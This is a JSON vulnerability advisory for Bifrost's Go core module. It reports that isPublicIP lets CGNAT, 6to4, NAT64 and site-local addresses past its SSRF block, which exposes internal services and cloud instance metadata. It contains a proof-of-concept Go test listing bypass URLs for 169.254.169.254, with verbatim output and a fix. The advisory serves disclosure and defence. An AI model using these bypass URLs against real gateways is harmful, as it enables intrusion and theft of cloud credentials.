Vulnerabilities in pkg:golang/github.com/maximhq/bifrost/core

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w98g-5w9p-p3rc",
  "modified" : "2026-08-28T18:26:02Z",
  "published" : "2026-08-28T18:26:02Z",
  "aliases" : [ "CVE-2026-55245" ],
  "summary" : "Bifrost's SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL",
  "details" : "## Summary\n\n`isPublicIP` in `core/providers/utils/fetch.go` — the SSRF deny-list that gates `FetchAndEncodeURL` — does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (`100.64.0.0/10`, RFC 6598), IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48`), and deprecated IPv6 site-local (`fec0::/10`) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach — including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of `169.254.169.254`.\n\nThe rest of the fetch hardening is correct and is **not** part of this report: the dial-time `LookupIP` + pin to `ips[0]` closes the DNS-rebinding TOCTOU, `CheckRedirect` re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in `isPublicIP`.\n\n## Affected component\n\n- File: `core/providers/utils/fetch.go`, function `isPublicIP` (lines 107-118), reached only through `FetchAndEncodeURL` (line 28).\n- Go module: `github.com/maximhq/bifrost/core`\n- Version: confirmed on the current `dev` HEAD `f415c144678bd4b411d74a1c1f85f18652833224` (`core/version` = `1.5.15`).\n\n## Vulnerable code\n\n```go\nfunc isPublicIP(ip net.IP) bool {\n\taddr, ok := netip.AddrFromSlice(ip)\n\tif !ok {\n\t\treturn false\n\t}\n\taddr = addr.Unmap()\n\tif addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||\n\t\taddr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {\n\t\treturn false\n\t}\n\treturn true\n}\n```\n\n`addr.IsPrivate()` covers only RFC 1918 + RFC 4193 (`fc00::/7`); it does **not** cover CGNAT `100.64.0.0/10`. `addr.Unmap()` only collapses the `::ffff:0:0/96` IPv4-mapped form, so 6to4 (`2002::/16`) and NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. `fec0::/10` (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.\n\n## Attack surface / who can trigger it\n\n`FetchAndEncodeURL` is invoked from the multimodal request-handling path of two providers:\n\n- `core/providers/bedrock/utils.go:1073` (document `block.File.FileURL`), `:1187` (image URL via `convertImageToBedrockSource`)\n- `core/providers/vertex/vertex.go:402` (document `block.File.FileURL`)\n\nThese URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). `SanitizeImageURL` (`core/schemas/utils.go:180`) only checks the scheme and a non-empty host — it performs no address filtering — so `isPublicIP` is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.\n\n## Impact\n\nServer-side request forgery from the gateway into internal address space that the deny-list intends to block:\n\n- **CGNAT `100.64.0.0/10`** — reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions.\n- **6to4 `2002:a9fe:a9fe::` and NAT64 `64:ff9b::a9fe:a9fe`** — both embed `169.254.169.254`, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct `169.254.169.254` and `::ffff:169.254.169.254` forms are correctly blocked.\n- **`fec0::/10`** — deprecated site-local, still routed on some networks.\n\nCWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.\n\n## Proof of concept\n\nA test placed in-package (`core/providers/utils/`) drives the **real** `FetchAndEncodeURL` — real `http.Client`, real `Transport.DialContext`, real `isPublicIP` — and classifies each target by whether `isPublicIP` let it past the gate. A `blocked fetch to non-public address` error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).\n\n```go\npackage utils\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestSSRFGateDecision(t *testing.T) {\n\tcases := []struct{ name, url string }{\n\t\t{\"CGNAT-100.64\", \"http://100.64.1.1:9/\"},\n\t\t{\"CGNAT-100.127\", \"http://100.127.255.254:9/\"},\n\t\t{\"6to4-IMDS\", \"http://[2002:a9fe:a9fe::]:9/\"},\n\t\t{\"NAT64-IMDS\", \"http://[64:ff9b::a9fe:a9fe]:9/\"},\n\t\t{\"NAT64-local-IMDS\", \"http://[64:ff9b:1::a9fe:a9fe]:9/\"},\n\t\t{\"sitelocal-fec0\", \"http://[fec0::1]:9/\"},\n\t\t// controls (must be rejected at the gate):\n\t\t{\"CONTROL-direct-IMDS\", \"http://169.254.169.254:9/\"},\n\t\t{\"CONTROL-RFC1918\", \"http://10.0.0.1:9/\"},\n\t\t{\"CONTROL-loopback\", \"http://127.0.0.1:9/\"},\n\t\t{\"CONTROL-mapped-IMDS\", \"http://[::ffff:169.254.169.254]:9/\"},\n\t}\n\tfor _, c := range cases {\n\t\tctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)\n\t\t_, _, err := FetchAndEncodeURL(ctx, c.url)\n\t\tcancel()\n\t\tgateBlocked := err != nil && strings.Contains(err.Error(), \"blocked fetch to non-public address\")\n\t\tfmt.Printf(\"%-22s gateBlock=%-6v %v\\n\", c.name, gateBlocked, err)\n\t}\n}\n```\n\nVerbatim output (`go test ./providers/utils/ -run TestSSRFGateDecision -v` against HEAD `f415c14`, Go 1.26.1):\n\n```\n=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===\ntarget                 gateBlock  verbatim error / outcome\n----------------------------------------------------------------------------------------------------\nCGNAT-100.64           false      failed to fetch from \"http://100.64.1.1:9/\": Get \"http://100.64.1.1:9/\": context deadline exceeded\nCGNAT-100.127          false      failed to fetch from \"http://100.127.255.254:9/\": Get \"http://100.127.255.254:9/\": context deadline exceeded\n6to4-IMDS              false      failed to fetch from \"http://[2002:a9fe:a9fe::]:9/\": Get \"http://[2002:a9fe:a9fe::]:9/\": EOF\nNAT64-IMDS             false      failed to fetch from \"http://[64:ff9b::a9fe:a9fe]:9/\": Get \"http://[64:ff9b::a9fe:a9fe]:9/\": context deadline exceeded\nNAT64-local-IMDS       false      failed to fetch from \"http://[64:ff9b:1::a9fe:a9fe]:9/\": Get \"http://[64:ff9b:1::a9fe:a9fe]:9/\": context deadline exceeded\nsitelocal-fec0         false      failed to fetch from \"http://[fec0::1]:9/\": Get \"http://[fec0::1]:9/\": EOF\nCONTROL-direct-IMDS    true       failed to fetch from \"http://169.254.169.254:9/\": Get \"http://169.254.169.254:9/\": blocked fetch to non-public address 169.254.169.254\nCONTROL-RFC1918        true       failed to fetch from \"http://10.0.0.1:9/\": Get \"http://10.0.0.1:9/\": blocked fetch to non-public address 10.0.0.1\nCONTROL-loopback       true       failed to fetch from \"http://127.0.0.1:9/\": Get \"http://127.0.0.1:9/\": blocked fetch to non-public address 127.0.0.1\nCONTROL-mapped-IMDS    true       failed to fetch from \"http://[::ffff:169.254.169.254]:9/\": Get \"http://[::ffff:169.254.169.254]:9/\": blocked fetch to non-public address 169.254.169.254\n```\n\nReading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected **at the gate** with `blocked fetch to non-public address` and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes `isPublicIP` and proceeds to the network dial — observed as `context deadline exceeded` or `EOF` (a real connection attempt), never `blocked fetch to non-public address`. The `blocked` vs `dial-attempted` split isolates the `isPublicIP` classification defect precisely.\n\nA standalone re-check of the verbatim `isPublicIP` body confirms the classification directly (Go 1.26.1):\n\n```\n100.64.0.1             isPublicIP=true   (CGNAT — should be blocked)\n100.127.255.254        isPublicIP=true   (CGNAT)\n2002:a9fe:a9fe::       isPublicIP=true   (6to4 -> 169.254.169.254)\n64:ff9b::a9fe:a9fe     isPublicIP=true   (NAT64 -> 169.254.169.254)\n64:ff9b:1::a9fe:a9fe   isPublicIP=true   (NAT64 local-use -> 169.254.169.254)\nfec0::1                isPublicIP=true   (deprecated site-local)\n169.254.169.254        isPublicIP=false  (direct IMDS — correctly blocked, control)\n::ffff:169.254.169.254 isPublicIP=false  (IPv4-mapped — correctly blocked, control)\n8.8.8.8                isPublicIP=true   (public — correctly allowed, control)\n```\n\n### Honest scope note\n\nThe test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here — the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use `100.64.0.0/10`. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: `isPublicIP` permits the forbidden ranges on every host.\n\n## References (canonical dimension precedents)\n\n- CVE-2026-45741 / GHSA-86m8-88fq-xfxp — Gotenberg `IsPublicIP` IPv6 6to4 / NAT64 / site-local bypass; same Go `netip` + `Unmap` gap.\n- GHSA-5jh9-2h63-pw4q — CC-Tweaked NAT64 (`64:ff9b::/96`) bypass; their fix adds `isCarrierGradeNatAddress` (CGNAT) + NAT64 handling.\n\n## Suggested fix\n\nIn `isPublicIP`, after `Unmap()`:\n\n1. Reject CGNAT: `100.64.0.0/10` for IPv4 (and the `::ffff:100.64.0.0/106` mapped form is already handled by `Unmap`).\n2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (`2002::/16` -> bytes 2-5), NAT64 well-known (`64:ff9b::/96`) and local-use (`64:ff9b:1::/48`) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4.\n3. Reject deprecated site-local `fec0::/10`.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/maximhq/bifrost/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.17"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/maximhq/bifrost/security/advisories/GHSA-w98g-5w9p-p3rc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maximhq/bifrost/pull/4092"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maximhq/bifrost/commit/54ec431fc5255ff42c36420d88549477e0b33d89"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/maximhq/bifrost"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maximhq/bifrost/releases/tag/core/v1.5.17"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T18:26:02Z",
    "nvd_published_at" : null
  }
}